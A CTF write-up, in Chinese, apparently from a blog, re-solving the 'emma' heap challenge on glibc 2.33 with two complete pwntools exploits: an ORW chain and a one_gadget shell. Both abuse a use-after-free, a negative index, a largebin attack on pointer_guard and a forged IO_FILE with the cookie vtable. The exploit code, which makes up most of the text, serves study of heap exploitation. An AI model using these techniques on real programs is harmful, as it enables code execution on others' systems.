前言
emma在前边已经做过一个了,但是体会并不是很深刻,于是找到以前比赛的时候看不懂的一个题,现在再来复现一遍,发现又学到了很多东西。(本题使用libc版本2.33-0ubuntu5_amd64/libc-2.33.so)
题目分析
首先在输入index的时候没有大于0的检查,于是可以负数越界
然后是在delete函数里指针没有置空,存在uaf漏洞。
由于本题没有沙箱,所以不仅可以orw读flag,还可以onegadget拿shell。所以针对这两种方法,分别进行分析。
方法一:orw
exp
from pwn import *
context(arch='amd64', os='linux')
context.log_level = 'debug'
r = process('./emma')
elf = ELF("./emma")
libc = elf.libc
def info(a,b):
log.info("\033[0;31;40m"+a+hex(b)+'\033[0m')
def ROL(content, key):
tmp = bin(content)[2:].rjust(64, '0')
return int(tmp[key:] + tmp[:key], 2)
def add(index,size,content):
r.sendlineafter(">>",'1')
r.sendlineafter("Index:",str(index))
r.sendlineafter("Size:",str(size))
r.sendafter('Content',content)
def edit(index,content):
r.sendlineafter(">>",'2')
r.sendlineafter("Index:",str(index))
r.sendafter('Content',content)
def show(index):
r.sendlineafter(">>",'3')
r.sendlineafter("Index:",str(index))
def delete(index):
r.sendlineafter(">>",'4')
r.sendlineafter("Index:",str(index))
#------------------------------leak-----------------------------
add(-4,0x418,'a')
add(1,0x418,'a')
add(2,0x420,'a')
add(3,0x418,'a')
delete(2)
add(4, 0x430,'a')
show(2)
leak=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
info("leak->",leak)
libc_base=leak-0x1e0ff0
info("libc_base->",libc_base)
guard=libc_base-0x2890
pop_rdi = libc_base + 0x0000000000028a55
pop_rsi = libc_base + 0x000000000002a4cf
pop_rax = libc_base + 0x0000000000044c70
syscall = libc_base + 0x000000000006105a
gadget = libc_base + 0x000000000014a0a0
# mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
setcontext = libc_base + libc.sym['setcontext']
IO_cookie_jumps = libc_base + 0x1e1a20
stderr = libc_base+libc.sym['stderr']
info("setcontext->",setcontext)
info("stderr->",stderr)
edit(2,"a"*0x10)
show(2)
r.recvuntil("a" * 0x10)
heap_base = u64(r.recv(6).ljust(8, '\x00'))-0xad0
info("heap_base->",heap_base)
#-------------------------------pointer_guard attack-----------------
delete(-4)
edit(2,p64(libc_base+0x1e0ff0)*2+p64(heap_base+0xad0)+p64(guard - 0x20))
add(5,0x430,'f')
edit(2, p64(heap_base + 0x290) + p64(libc_base + 0x1e0ff0) + p64(heap_base + 0x290) * 2)
edit(-4, p64(libc_base + 0x1e0ff0) + p64(heap_base + 0xad0) * 3)
add(-4,0x418,'a')
add(2,0x420,'b')
#---------------------------topchunk_size attack-----------------------
delete(5)
add(6, 0x420,'a')
edit(5,'a'*0x428+p64(0x300))
#------------------------------fake IO---------------------------------
next_chain = 0
fake_IO_FILE = 4*p64(0)
fake_IO_FILE += p64(0) # _IO_write_base = 0
fake_IO_FILE += p64(0xffffffffffffffff) # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0) # _IO_buf_base
fake_IO_FILE += p64(0) # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0x68, '\x00')
fake_IO_FILE += p64(next_chain) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, '\x00')
fake_IO_FILE += p64(heap_base) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, '\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, '\x00')
fake_IO_FILE += p64(IO_cookie_jumps+0x40)# vtable
fake_IO_FILE += p64(heap_base+0xad0+0x10) # rdi payload
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(ROL(gadget ^ (heap_base+0x290), 0x11))
fake_frame_addr = heap_base+0xae0+0x10
frame = SigreturnFrame()
frame.rdi = fake_frame_addr + 0xF8# ./flag
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi + 1 # ret
rop = [
pop_rax, # sys_open('flag', 0)
2,
syscall,
pop_rax, # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi,
3,
pop_rsi,
fake_frame_addr + 0x200,
syscall,
pop_rax, # sys_write(1, heap, 0x100)
1,
pop_rdi,
1,
pop_rsi,
fake_frame_addr + 0x200,
syscall
]
payload = p64(0) + p64(fake_frame_addr) + '\x00' * 0x20 + p64(setcontext + 61)
payload += str(frame).ljust(0xF8, '\x00')[0x28:] + 'flag'.ljust(0x10, '\x00') + flat(rop)
edit(-4, fake_IO_FILE)
edit(2, payload)
r.sendlineafter(">>",'1')
r.sendlineafter("Index:",str(8))
gdb.attach(r)
r.sendlineafter("Size:",str(0x600))
r.interactive()
分析
由于在以前博客已经说过了emma的orw的做法,这里就不在逐个分析代码了。说一些重点:创建index为-4的堆块可以正好覆盖掉stderr的值,覆盖为第一个堆块(-4)的地址,而我试了试用largebin attack修改stderr,发现改的是stderr实际地址里的地址,而不是程序中stderr中的。所以这种方法应该不行。
附上函数执行流程
si进入
si进入
si进入
si进入
si进入
si进入
si进入
si进入
进入cookie,rax异或之后就是setcontext
方法二:get shell
exp
from pwn import *
context(arch='amd64', os='linux')
context.log_level = 'debug'
r = process('./emma')
elf = ELF("./emma")
libc = elf.libc
def info(a,b):
log.info("\033[0;31;40m"+a+hex(b)+'\033[0m')
def ROL(content, key):
tmp = bin(content)[2:].rjust(64, '0')
return int(tmp[key:] + tmp[:key], 2)
def add(index,size,content):
r.sendlineafter(">>",'1')
r.sendlineafter("Index:",str(index))
r.sendlineafter("Size:",str(size))
r.sendafter('Content',content)
def edit(index,content):
r.sendlineafter(">>",'2')
r.sendlineafter("Index:",str(index))
r.sendafter('Content',content)
def show(index):
r.sendlineafter(">>",'3')
r.sendlineafter("Index:",str(index))
def delete(index):
r.sendlineafter(">>",'4')
r.sendlineafter("Index:",str(index))
#------------------------------leak-----------------------------
add(-4,0x418,'a')
add(1,0x418,'a')
add(2,0x420,'a')
add(3,0x418,'a')
delete(2)
add(4, 0x430,'a')
show(2)
leak=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
info("leak->",leak)
libc_base=leak-0x1e0ff0
info("libc_base->",libc_base)
guard=libc_base-0x2890
onegadget=[0xde78c,0xde78f,0xde792]
ogg=libc_base+onegadget[0]
IO_cookie_jumps = libc_base + 0x1e1a20
stderr = libc_base+libc.sym['stderr']
info("stderr->",stderr)
edit(2,"a"*0x10)
show(2)
r.recvuntil("a" * 0x10)
heap_base = u64(r.recv(6).ljust(8, '\x00'))-0xad0
info("heap_base->",heap_base)
#-------------------------------pointer_guard attack-----------------
delete(-4)
edit(2,p64(libc_base+0x1e0ff0)*2+p64(heap_base+0xad0)+p64(guard - 0x20))
add(5,0x430,'f')
edit(2, p64(heap_base + 0x290) + p64(libc_base + 0x1e0ff0) + p64(heap_base + 0x290) * 2)
edit(-4, p64(libc_base + 0x1e0ff0) + p64(heap_base + 0xad0) * 3)
add(-4,0x418,'a')
add(2,0x420,'b')
#---------------------------topchunk_size attack-----------------------
delete(5)
add(6, 0x420,'a')
edit(5,'a'*0x428+p64(0x300))
#------------------------------fake IO---------------------------------
next_chain = 0
fake_IO_FILE = 4*p64(0)
fake_IO_FILE += p64(0) # _IO_write_base = 0
fake_IO_FILE += p64(0xffffffffffffffff) # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0) # _IO_buf_base
fake_IO_FILE += p64(0) # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0x68, '\x00')
fake_IO_FILE += p64(next_chain) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, '\x00')
fake_IO_FILE += p64(heap_base) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, '\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, '\x00')
fake_IO_FILE += p64(IO_cookie_jumps+0x40)# vtable
fake_IO_FILE += p64(0) # rdi payload
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(ROL(ogg ^ (heap_base+0x290), 0x11))
edit(-4, fake_IO_FILE)
r.sendlineafter(">>",'1')
r.sendlineafter("Index:",str(8))
gdb.attach(r)
r.sendlineafter("Size:",str(0x600))
r.interactive()
分析
还是通过伪造fake file的vtable让程序进入cookie,然后传递参数(rax)改为onegadget,使其call rax时候执行onegadget来get shell即可。
si进入